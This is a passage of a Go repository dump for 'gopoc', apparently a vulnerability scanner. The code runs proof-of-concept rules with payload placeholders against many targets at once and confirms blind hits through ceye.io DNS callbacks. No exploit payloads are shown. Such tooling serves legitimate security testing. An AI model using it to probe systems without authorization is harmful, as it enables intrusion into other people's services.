h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 155 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 156 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 157 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 158 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 159 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 160 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 161 | -------------------------------------------------------------------------------- /lib/check.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "fmt" 5 | "gopoc/utils" 6 | "math/rand" 7 | "net/http" 8 | "net/url" 9 | "regexp" 10 | "sort" 11 | "strings" 12 | "sync" 13 | "time" 14 | ) 15 | 16 | var ( 17 | ceyeApi string 18 | ceyeDomain string 19 | ) 20 | 21 | type Task struct { 22 | Req *http.Request 23 | Poc *Poc 24 | } 25 | 26 | func InitCeyeApi(api, domain string) bool { 27 | if api == "" || domain == "" || !strings.HasSuffix(domain, ".ceye.io") { 28 | return false 29 | } 30 | ceyeApi = api 31 | ceyeDomain = domain 32 | return true 33 | } 34 | 35 | func checkVul(tasks []Task, ticker *time.Ticker) <-chan Task { 36 | var wg sync.WaitGroup 37 | results := make(chan Task) 38 | for _, task := range tasks { 39 | wg.Add(1) 40 | go func(task Task) { 41 | defer wg.Done() 42 | <-ticker.C 43 | isVul, err := executePoc(task.Req, task.Poc) 44 | if err != nil { 45 | utils.Error(err) 46 | return 47 | } 48 | if isVul { 49 | results <- task 50 | } 51 | }(task) 52 | } 53 | go func() { 54 | wg.Wait() 55 | close(results) 56 | }() 57 | return results 58 | } 59 | 60 | func BatchCheckSinglePoc(targets []string, pocName string, rate int) { 61 | if p, err := LoadSinglePoc(pocName); err == nil { 62 | rateLimit := time.Second / time.Duration(rate) 63 | ticker := time.NewTicker(rateLimit) 64 | defer ticker.Stop() 65 | var tasks []Task 66 | for _, target := range targets { 67 | req, _ := http.NewRequest("GET", target, nil) 68 | task := Task{ 69 | Req: req, 70 | Poc: p, 71 | } 72 | tasks = append(tasks, task) 73 | } 74 | for result := range checkVul(tasks, ticker) { 75 | fmt.Println(result.Req.URL, result.Poc.Name) 76 | } 77 | } 78 | } 79 | 80 | func BatchCheckMultiPoc(targets []string, pocName string, threads, rate int) { 81 | pocs := LoadMultiPoc(pocName) 82 | rateLimit := time.Second / time.Duration(rate) 83 | ticker := time.NewTicker(rateLimit) 84 | defer ticker.Stop() 85 | 86 | in := make(chan string) 87 | go func() { 88 | for _, target := range targets { 89 | in <- target 90 | } 91 | close(in) 92 | }() 93 | 94 | worker := func(targets <-chan string, wg *sync.WaitGroup, retCh chan<- []Task) { 95 | defer wg.Done() 96 | for target := range targets { 97 | var tasks []Task 98 | var results []Task 99 | req, _ := http.NewRequest("GET", target, nil) 100 | for _, poc := range pocs { 101 | task := Task{ 102 | Req: req, 103 | Poc: poc, 104 | } 105 | tasks = append(tasks, task) 106 | } 107 | for result := range checkVul(tasks, ticker) { 108 | results = append(results, result) 109 | } 110 | retCh <- results 111 | } 112 | } 113 | 114 | do := func() <-chan []Task { 115 | var wg sync.WaitGroup 116 | retCh := make(chan []Task, threads) 117 | for i := 0; i < threads; i++ { 118 | wg.Add(1) 119 | go worker(in, &wg, retCh) 120 | } 121 | go func() { 122 | wg.Wait() 123 | close(retCh) 124 | }() 125 | return retCh 126 | } 127 | for results := range do() { 128 | for _, result := range results { 129 | utils.Green("%s %s", result.Req.URL, result.Poc.Name) 130 | } 131 | } 132 | } 133 | 134 | func CheckSinglePoc(req *http.Request, pocName string) *Poc { 135 | if p, err := LoadSinglePoc(pocName); err == nil { 136 | if isVul, err := executePoc(req, p); err == nil { 137 | if isVul { 138 | return p 139 | } 140 | } 141 | } 142 | return nil 143 | } 144 | 145 | func CheckMultiPoc(req *http.Request, pocName string, rate int) { 146 | rateLimit := time.Second / time.Duration(rate) 147 | ticker := time.NewTicker(rateLimit) 148 | defer ticker.Stop() 149 | var tasks []Task 150 | for _, poc := range LoadMultiPoc(pocName) { 151 | task := Task{ 152 | Req: req, 153 | Poc: poc, 154 | } 155 | tasks = append(tasks, task) 156 | } 157 | for result := range checkVul(tasks, ticker) { 158 | utils.Green("%s %s", result.Req.URL, result.Poc.Name) 159 | } 160 | } 161 | 162 | func executePoc(oReq *http.Request, p *Poc) (bool, error) { 163 | utils.Debug(oReq.URL.String(), p.Name) 164 | c := NewEnvOption() 165 | c.UpdateCompileOptions(p.Set) 166 | env, err := NewEnv(&c) 167 | if err != nil { 168 | utils.ErrorF("environment creation error: %s\n", err) 169 | return false, err 170 | } 171 | variableMap := make(map[string]interface{}) 172 | req, err := ParseRequest(oReq) 173 | if err != nil { 174 | utils.Error(err) 175 | return false, err 176 | } 177 | variableMap["request"] = req 178 | 179 | // 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload 180 | keys := make([]string, 0) 181 | for k := range p.Set { 182 | keys = append(keys, k) 183 | } 184 | sort.Strings(keys) 185 | 186 | for _, k := range keys { 187 | expression := p.Set[k] 188 | if k != "payload" { 189 | if expression == "newReverse()" { 190 | variableMap[k] = newReverse() 191 | continue 192 | } 193 | out, err := Evaluate(env, expression, variableMap) 194 | if err != nil { 195 | utils.Error(err) 196 | continue 197 | } 198 | switch value := out.Value().(type) { 199 | case *UrlType: 200 | variableMap[k] = UrlTypeToString(value) 201 | case int64: 202 | variableMap[k] = int(value) 203 | default: 204 | variableMap[k] = fmt.Sprintf("%v", out) 205 | } 206 | } 207 | } 208 | 209 | if p.Set["payload"] != "" { 210 | out, err := Evaluate(env, p.Set["payload"], variableMap) 211 | if err != nil { 212 | return false, err 213 | } 214 | variableMap["payload"] = fmt.Sprintf("%v", out) 215 | } 216 | 217 | success := false 218 | for _, rule := range p.Rules { 219 | for k1, v1 := range variableMap { 220 | _, isMap := v1.(map[string]string) 221 | if isMap { 222 | continue 223 | } 224 | value := fmt.Sprintf("%v", v1) 225 | for k2, v2 := range rule.Headers { 226 | rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) 227 | } 228 | rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) 229 | rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) 230 | } 231 | 232 | if oReq.URL.Path != "" && oReq.URL.Path != "/" { 233 | req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) 234 | } else { 235 | req.Url.Path = rule.Path 236 | } 237 | // 某些poc没有区分path和query,需要处理 238 | req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") 239 | req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") 240 | 241 | newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) 242 | newRequest.Header = oReq.Header.Clone() 243 | for k, v := range rule.Headers { 244 | newRequest.Header.Set(k, v) 245 | } 246 | resp, err := DoRequest(newRequest, rule.FollowRedirects) 247 | if err != nil { 248 | return false, err 249 | } 250 | variableMap["response"] = resp 251 | 252 | // 先判断响应页面是否匹配search规则 253 | if rule.Search != "" { 254 | result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body)) 255 | if result != nil && len(result) > 0 { // 正则匹配成功 256 | for k, v := range result { 257 | variableMap[k] = v 258 | } 259 | //return false, nil 260 | } else { 261 | return false, nil 262 | } 263 | } 264 | 265 | out, err := Evaluate(env, rule.Expression, variableMap) 266 | if err != nil { 267 | return false, err 268 | } 269 | //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) 270 | if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule 271 | success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败 272 | break 273 | } 274 | success = true 275 | } 276 | return success, nil 277 | } 278 | 279 | func doSearch(re string, body string) map[string]string { 280 | r, err := regexp.Compile(re) 281 | if err != nil { 282 | return nil 283 | } 284 | result := r.FindStringSubmatch(body) 285 | names := r.SubexpNames() 286 | if len(result) > 1 && len(names) > 1 { 287 | paramsMap := make(map[string]string) 288 | for i, name := range names { 289 | if i > 0 && i <= len(result) { 290 | paramsMap[name] = result[i] 291 | } 292 | } 293 | return paramsMap 294 | } 295 | return nil 296 | } 297 | 298 | func newReverse() *Reverse { 299 | letters := "1234567890abcdefghijklmnopqrstuvwxyz" 300 | randSource := rand.New(rand.NewSource(time.Now().Unix())) 301 | sub := utils.RandomStr(randSource, letters, 8) 302 | if ceyeDomain == "" { 303 | return &Reverse{} 304 | } 305 | urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain) 306 | u, _ := url.Parse(urlStr) 307 | return &Reverse{ 308 | Url: ParseUrl(u), 309 | Domain: u.Hostname(), 310 | Ip: "", 311 | IsDomainNameServer: false, 312 | } 313 | } 314 | -------------------------------------------------------------------------------- /lib/eval.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "bytes" 5 | "crypto/md5" 6 | "encoding/base64" 7 | "fmt" 8 | "github.com/google/cel-go/cel" 9 | "github.com/google/cel-go/checker/decls" 10 | "github.com/google/cel-go/common/types" 11 | "github.com/google/cel-go/common/types/ref" 12 | "github.com/google/cel-go/interpreter/functions" 13 | exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" 14 | "gopoc/utils" 15 | "math/rand" 16 | "net/http" 17 | "net/url" 18 | "regexp" 19 | "strings" 20 | "time" 21 | ) 22 | 23 | func NewEnv(c *CustomLib) (*cel.Env, error) { 24 | return cel.NewEnv(cel.Lib(c)) 25 | } 26 | 27 | func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { 28 | ast, iss := env.Compile(expression) 29 | if iss.Err() != nil { 30 | utils.Error("compile: ", iss.Err()) 31 | return nil, iss.Err() 32 | } 33 | 34 | prg, err := env.Program(ast) 35 | if err != nil { 36 | utils.ErrorF("Program creation error: %v", err) 37 | return nil, err 38 | } 39 | 40 | out, _, err := prg.Eval(params) 41 | if err != nil { 42 | utils.ErrorF("Evaluation error: %v", err) 43 | return nil, err 44 | } 45 | return out, nil 46 | } 47 | 48 | func UrlTypeToString(u *UrlType) string { 49 | var buf strings.Builder 50 | if u.Scheme != "" { 51 | buf.WriteString(u.Scheme) 52 | buf.WriteByte(':') 53 | } 54 | if u.Scheme != "" || u.Host != "" { 55 | if u.Host != "" || u.Path != "" { 56 | buf.WriteString("//") 57 | } 58 | if h := u.Host; h != "" { 59 | buf.WriteString(u.Host) 60 | } 61 | } 62 | path := u.Path 63 | if path != "" && path[0] != '/' && u.Host != "" { 64 | buf.WriteByte('/') 65 | } 66 | if buf.Len() == 0 { 67 | if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { 68 | buf.WriteString("./") 69 | } 70 | } 71 | buf.WriteString(path) 72 | 73 | if u.Query != "" { 74 | buf.WriteByte('?') 75 | buf.WriteString(u.Query) 76 | } 77 | if u.Fragment != "" { 78 | buf.WriteByte('#') 79 | buf.WriteString(u.Fragment) 80 | } 81 | return buf.String() 82 | } 83 | 84 | type CustomLib struct { 85 | envOptions []cel.EnvOption 86 | programOptions []cel.ProgramOption 87 | } 88 | 89 | func NewEnvOption() CustomLib { 90 | c := CustomLib{} 91 | 92 | c.envOptions = []cel.EnvOption{ 93 | cel.Container("lib"), 94 | cel.Types( 95 | &UrlType{}, 96 | &Request{}, 97 | &Response{}, 98 | &Reverse{}, 99 | ), 100 | cel.Declarations( 101 | decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil), 102 | decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil), 103 | //decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil), 104 | ), 105 | cel.Declarations( 106 | // functions 107 | decls.NewFunction("bcontains", 108 | decls.NewInstanceOverload("bytes_bcontains_bytes", 109 | []*exprpb.Type{decls.Bytes, decls.Bytes}, 110 | decls.Bool)), 111 | decls.NewFunction("bmatches", 112 | decls.NewInstanceOverload("string_bmatches_bytes", 113 | []*exprpb.Type{decls.String, decls.Bytes}, 114 | decls.Bool)), 115 | decls.NewFunction("md5", 116 | decls.NewOverload("md5_string", 117 | []*exprpb.Type{decls.String}, 118 | decls.String)), 119 | decls.NewFunction("randomInt", 120 | decls.NewOverload("randomInt_int_int", 121 | []*exprpb.Type{decls.Int, decls.Int}, 122 | decls.Int)), 123 | decls.NewFunction("randomLowercase", 124 | decls.NewOverload("randomLowercase_int", 125 | []*exprpb.Type{decls.Int}, 126 | decls.String)), 127 | decls.NewFunction("base64", 128 | decls.NewOverload("base64_string", 129 | []*exprpb.Type{decls.String}, 130 | decls.String)), 131 | decls.NewFunction("base64", 132 | decls.NewOverload("base64_bytes", 133 | []*exprpb.Type{decls.Bytes}, 134 | decls.String)), 135 | decls.NewFunction("base64Decode", 136 | decls.NewOverload("base64Decode_string", 137 | []*exprpb.Type{decls.String}, 138 | decls.String)), 139 | decls.NewFunction("base64Decode", 140 | decls.NewOverload("base64Decode_bytes", 141 | []*exprpb.Type{decls.Bytes}, 142 | decls.String)), 143 | decls.NewFunction("urlencode", 144 | decls.NewOverload("urlencode_string", 145 | []*exprpb.Type{decls.String}, 146 | decls.String)), 147 | decls.NewFunction("urlencode", 148 | decls.NewOverload("urlencode_bytes", 149 | []*exprpb.Type{decls.Bytes}, 150 | decls.String)), 151 | decls.NewFunction("urldecode", 152 | decls.NewOverload("urldecode_string", 153 | []*exprpb.Type{decls.String}, 154 | decls.String)), 155 | decls.NewFunction("urldecode", 156 | decls.NewOverload("urldecode_bytes", 157 | []*exprpb.Type{decls.Bytes}, 158 | decls.String)), 159 | decls.NewFunction("substr", 160 | decls.NewOverload("substr_string_int_int", 161 | []*exprpb.Type{decls.String, decls.Int, decls.Int}, 162 | decls.String)), 163 | decls.NewFunction("wait", 164 | decls.NewInstanceOverload("reverse_wait_int", 165 | []*exprpb.Type{decls.Any, decls.Int}, 166 | decls.Bool)), 167 | decls.NewFunction("icontains", 168 | decls.NewInstanceOverload("icontains_string", 169 | []*exprpb.Type{decls.String, decls.String}, 170 | decls.Bool)), 171 | ), 172 | } 173 | c.programOptions = []cel.ProgramOption{ 174 | cel.Functions( 175 | &functions.Overload{ 176 | Operator: "bytes_bcontains_bytes", 177 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 178 | v1, ok := lhs.(types.Bytes) 179 | if !ok { 180 | return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type()) 181 | } 182 | v2, ok := rhs.(types.Bytes) 183 | if !ok { 184 | return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type()) 185 | } 186 | return types.Bool(bytes.Contains(v1, v2)) 187 | }, 188 | }, 189 | &functions.Overload{ 190 | Operator: "string_bmatch_bytes", 191 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 192 | v1, ok := lhs.(types.String) 193 | if !ok { 194 | return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type()) 195 | } 196 | v2, ok := rhs.(types.Bytes) 197 | if !ok { 198 | return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type()) 199 | } 200 | ok, err := regexp.Match(string(v1), v2) 201 | if err != nil { 202 | return types.NewErr("%v", err) 203 | } 204 | return types.Bool(ok) 205 | }, 206 | }, 207 | &functions.Overload{ 208 | Operator: "md5_string", 209 | Unary: func(value ref.Val) ref.Val { 210 | v, ok := value.(types.String) 211 | if !ok { 212 | return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type()) 213 | } 214 | return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v)))) 215 | }, 216 | }, 217 | &functions.Overload{ 218 | Operator: "randomInt_int_int", 219 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 220 | from, ok := lhs.(types.Int) 221 | if !ok { 222 | return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type()) 223 | } 224 | to, ok := rhs.(types.Int) 225 | if !ok { 226 | return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) 227 | } 228 | min, max := int(from), int(to) 229 | return types.Int(rand.Intn(max-min) + min) 230 | }, 231 | }, 232 | &functions.Overload{ 233 | Operator: "randomLowercase_int", 234 | Unary: func(value ref.Val) ref.Val { 235 | n, ok := value.(types.Int) 236 | if !ok { 237 | return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type()) 238 | } 239 | return types.String(randomLowercase(int(n))) 240 | }, 241 | }, 242 | &functions.Overload{ 243 | Operator: "base64_string", 244 | Unary: func(value ref.Val) ref.Val { 245 | v, ok := value.(types.String) 246 | if !ok { 247 | return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type()) 248 | } 249 | return types.String(base64.StdEncoding.EncodeToString([]byte(v))) 250 | }, 251 | }, 252 | &functions.Overload{ 253 | Operator: "base64_bytes", 254 | Unary: func(value ref.Val) ref.Val { 255 | v, ok := value.(types.Bytes) 256 | if !ok { 257 | return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type()) 258 | } 259 | return types.String(base64.StdEncoding.EncodeToString(v)) 260 | }, 261 | }, 262 | &functions.Overload{ 263 | Operator: "base64Decode_string", 264 | Unary: func(value ref.Val) ref.Val { 265 | v, ok := value.(types.String) 266 | if !ok { 267 | return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type()) 268 | } 269 | decodeBytes, err := base64.StdEncoding.DecodeString(string(v)) 270 | if err != nil { 271 | return types.NewErr("%v", err) 272 | } 273 | return types.String(decodeBytes) 274 | }, 275 | }, 276 | &functions.Overload{ 277 | Operator: "base64Decode_bytes", 278 | Unary: func(value ref.Val) ref.Val { 279 | v, ok := value.(types.Bytes) 280 | if !ok { 281 | return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type()) 282 | } 283 | decodeBytes, err := base64.StdEncoding.DecodeString(string(v)) 284 | if err != nil { 285 | return types.NewErr("%v", err) 286 | } 287 | return types.String(decodeBytes) 288 | }, 289 | }, 290 | &functions.Overload{ 291 | Operator: "urlencode_string", 292 | Unary: func(value ref.Val) ref.Val { 293 | v, ok := value.(types.String) 294 | if !ok { 295 | return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type()) 296 | } 297 | return types.String(url.QueryEscape(string(v))) 298 | }, 299 | }, 300 | &functions.Overload{ 301 | Operator: "urlencode_bytes", 302 | Unary: func(value ref.Val) ref.Val { 303 | v, ok := value.(types.Bytes) 304 | if !ok { 305 | return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type()) 306 | } 307 | return types.String(url.QueryEscape(string(v))) 308 | }, 309 | }, 310 | &functions.Overload{ 311 | Operator: "urldecode_string", 312 | Unary: func(value ref.Val) ref.Val { 313 | v, ok := value.(types.String) 314 | if !ok { 315 | return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type()) 316 | } 317 | decodeString, err := url.QueryUnescape(string(v)) 318 | if err != nil { 319 | return types.NewErr("%v", err) 320 | } 321 | return types.String(decodeString) 322 | }, 323 | }, 324 | &functions.Overload{ 325 | Operator: "urldecode_bytes", 326 | Unary: func(value ref.Val) ref.Val { 327 | v, ok := value.(types.Bytes) 328 | if !ok { 329 | return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type()) 330 | } 331 | decodeString, err := url.QueryUnescape(string(v)) 332 | if err != nil { 333 | return types.NewErr("%v", err) 334 | } 335 | return types.String(decodeString) 336 | }, 337 | }, 338 | &functions.Overload{ 339 | Operator: "substr_string_int_int", 340 | Function: func(values ...ref.Val) ref.Val { 341 | if len(values) == 3 { 342 | str, ok := values[0].(types.String) 343 | if !ok { 344 | return types.NewErr("invalid string to 'substr'") 345 | } 346 | start, ok := values[1].(types.Int) 347 | if !ok { 348 | return types.NewErr("invalid start to 'substr'") 349 | } 350 | length, ok := values[2].(types.Int) 351 | if !ok { 352 | return types.NewErr("invalid length to 'substr'") 353 | } 354 | runes := []rune(str) 355 | if start < 0 || length < 0 || int(start+length) > len(runes) { 356 | return types.NewErr("invalid start or length to 'substr'") 357 | } 358 | return types.String(runes[start : start+length]) 359 | } else { 360 | return types.NewErr("too many arguments to 'substr'") 361 | } 362 | }, 363 | }, 364 | &functions.Overload{ 365 | Operator: "reverse_wait_int", 366 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 367 | reverse, ok := lhs.Value().(*Reverse) 368 | if !ok { 369 | return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type()) 370 | } 371 | timeout, ok := rhs.Value().(int64) 372 | if !ok { 373 | return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type()) 374 | } 375 | return types.Bool(reverseCheck(reverse, timeout)) 376 | }, 377 | }, 378 | &functions.Overload{ 379 | Operator: "icontains_string", 380 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 381 | v1, ok := lhs.(types.String) 382 | if !ok { 383 | return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type()) 384 | } 385 | v2, ok := rhs.(types.String) 386 | if !ok { 387 | return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type()) 388 | } 389 | // 不区分大小写包含 390 | return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) 391 | }, 392 | }, 393 | ), 394 | } 395 | return c 396 | } 397 | 398 | // 声明环境中的变量类型和函数 399 | func (c *CustomLib) CompileOptions() []cel.EnvOption { 400 | return c.envOptions 401 | } 402 | 403 | func (c *CustomLib) ProgramOptions() []cel.ProgramOption { 404 | return c.programOptions 405 | } 406 | 407 | func (c *CustomLib) UpdateCompileOptions(args map[string]string) { 408 | for k, v := range args { 409 | // 在执行之前是不知道变量的类型的,所以统一声明为字符型 410 | // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string 411 | var d *exprpb.Decl 412 | if strings.HasPrefix(v, "randomInt") { 413 | d = decls.NewIdent(k, decls.Int, nil) 414 | } else if strings.HasPrefix(v, "newReverse") { 415 | d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil) 416 | } else { 417 | d = decls.NewIdent(k, decls.String, nil) 418 | } 419 | c.envOptions = append(c.envOptions, cel.Declarations(d)) 420 | } 421 | } 422 | 423 | func randomLowercase(n int) string { 424 | lowercase := "abcdefghijklmnopqrstuvwxyz" 425 | randSource := rand.New(rand.NewSource(time.Now().Unix())) 426 | return utils.RandomStr(randSource, lowercase, n) 427 | } 428 | 429 | func reverseCheck(r *Reverse, timeout int64) bool { 430 | if ceyeApi == "" || r.Domain == "" { 431 | return false 432 | } 433 | time.Sleep(time.Second * time.Duration(timeout)) 434 | sub := strings.Split(r.Domain, ".")[0] 435 | urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) 436 | utils.Info(urlStr) 437 | req, _ := http.NewRequest("GET", urlStr, nil) 438 | resp, err := DoRequest(req, false) 439 | if err != nil { 440 | utils.Error(err) 441 | return false 442 | } 443 | //fmt.Println(string(resp.Body)) 444 | if !bytes.Contains(resp.Body, []byte(`"data": []`)) { // api返回结果不为空 445 | return true 446 | } 447 | return false 448 | } 449 | -------------------------------------------------------------------------------- /lib/http.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "crypto/tls" 7 | "io" 8 | "io/ioutil" 9 | "net" 10 | "net/http" 11 | "net/url" 12 | "strconv" 13 | "time" 14 | ) 15 | 16 | var ( 17 | client *http.Client 18 | clientNoRedirect *http.Client 19 | dialTimout = 5 * time.Second 20 | keepAlive = 15 * time.Second 21 | ) 22 | 23 | func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { 24 | dialer := &net.Dialer{ 25 | Timeout: dialTimout, 26 | KeepAlive: keepAlive, 27 | } 28 | 29 | tr := &http.Transport{ 30 | DialContext: dialer.DialContext, 31 | //MaxConnsPerHost: 0, 32 | MaxIdleConns: 1000, 33 | MaxIdleConnsPerHost: ThreadsNum * 2, 34 | IdleConnTimeout: keepAlive, 35 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 36 | TLSHandshakeTimeout: 5 * time.Second, 37 | } 38 | if DownProxy != "" { 39 | u, err := url.Parse(DownProxy) 40 | if err != nil { 41 | return err 42 | } 43 | tr.Proxy = http.ProxyURL(u) 44 | } 45 | 46 | client = &http.Client{ 47 | Transport: tr, 48 | Timeout: Timeout, 49 | } 50 | clientNoRedirect = &http.Client{ 51 | Transport: tr, 52 | Timeout: Timeout, 53 | } 54 | clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error { 55 | return http.ErrUseLastResponse 56 | } 57 | return nil 58 | } 59 | 60 | func DoRequest(req *http.Request, redirect bool) (*Response, error) { 61 | if req.Body == nil || req.Body == http.NoBody { 62 | } else { 63 | req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) 64 | if req.Header.Get("Content-Type") == "" { 65 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 66 | } 67 | } 68 | 69 | var oResp *http.Response 70 | var err error 71 | if redirect { 72 | oResp, err = client.Do(req) 73 | } else { 74 | oResp, err = clientNoRedirect.Do(req) 75 | } 76 | if oResp != nil { 77 | defer oResp.Body.Close() 78 | } 79 | if err != nil { 80 | return nil, err 81 | } 82 | resp, err := ParseResponse(oResp) 83 | if err != nil { 84 | return nil, err 85 | } 86 | return resp, err 87 | } 88 | 89 | func ParseUrl(u *url.URL) *UrlType { 90 | nu := &UrlType{} 91 | nu.Scheme = u.Scheme 92 | nu.Domain = u.Hostname() 93 | nu.Host = u.Host 94 | nu.Port = u.Port() 95 | nu.Path = u.EscapedPath() 96 | nu.Query = u.RawQuery 97 | nu.Fragment = u.Fragment 98 | return nu 99 | } 100 | 101 | func ParseRequest(oReq *http.Request) (*Request, error) { 102 | req := &Request{} 103 | req.Method = oReq.Method 104 | req.Url = ParseUrl(oReq.URL) 105 | header := make(map[string]string) 106 | for k := range oReq.Header { 107 | header[k] = oReq.Header.Get(k) 108 | } 109 | req.Headers = header 110 | req.ContentType = oReq.Header.Get("Content-Type") 111 | if oReq.Body == nil || oReq.Body == http.NoBody { 112 | } else { 113 | data, err := ioutil.ReadAll(oReq.Body) 114 | if err != nil { 115 | return nil, err 116 | } 117 | req.Body = data 118 | oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data)) 119 | } 120 | return req, nil 121 | } 122 | 123 | func ParseResponse(oResp *http.Response) (*Response, error) { 124 | var resp Response 125 | header := make(map[string]string) 126 | resp.Status = int32(oResp.StatusCode) 127 | resp.Url = ParseUrl(oResp.Request.URL) 128 | for k := range oResp.Header { 129 | header[k] = oResp.Header.Get(k) 130 | } 131 | resp.Headers = header 132 | resp.ContentType = oResp.Header.Get("Content-Type") 133 | body, err := getRespBody(oResp) 134 | if err != nil { 135 | return nil, err 136 | } 137 | resp.Body = body 138 | return &resp, nil 139 | } 140 | 141 | func getRespBody(oResp *http.Response) ([]byte, error) { 142 | var body []byte 143 | if oResp.Header.Get("Content-Encoding") == "gzip" { 144 | gr, _ := gzip.NewReader(oResp.Body) 145 | defer gr.Close() 146 | for { 147 | buf := make([]byte, 1024) 148 | n, err := gr.Read(buf) 149 | if err != nil && err != io.EOF { 150 | //utils.Logger.Error(err) 151 | return nil, err 152 | } 153 | if n == 0 { 154 | break 155 | } 156 | body = append(body, buf...) 157 | } 158 | } else { 159 | raw, err := ioutil.ReadAll(oResp.Body) 160 | if err != nil { 161 | //utils.Logger.Error(err) 162 | return nil, err 163 | } 164 | //defer oResp.Body.Close() 165 | body = raw 166 | } 167 | return body, nil 168 | } 169 | -------------------------------------------------------------------------------- /lib/http.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // source: http.proto 3 | 4 | package lib 5 | 6 | import ( 7 | fmt "fmt" 8 | proto "github.com/golang/protobuf/proto" 9 | math "math" 10 | ) 11 | 12 | // Reference imports to suppress errors if they are not otherwise used. 13 | var _ = proto.Marshal 14 | var _ = fmt.Errorf 15 | var _ = math.Inf 16 | 17 | // This is a compile-time assertion to ensure that this generated file 18 | // is compatible with the proto package it is being compiled against. 19 | // A compilation error at this line likely means your copy of the 20 | // proto package needs to be updated. 21 | const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package 22 | 23 | type UrlType struct { 24 | Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"` 25 | Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` 26 | Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"` 27 | Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"` 28 | Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"` 29 | Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"` 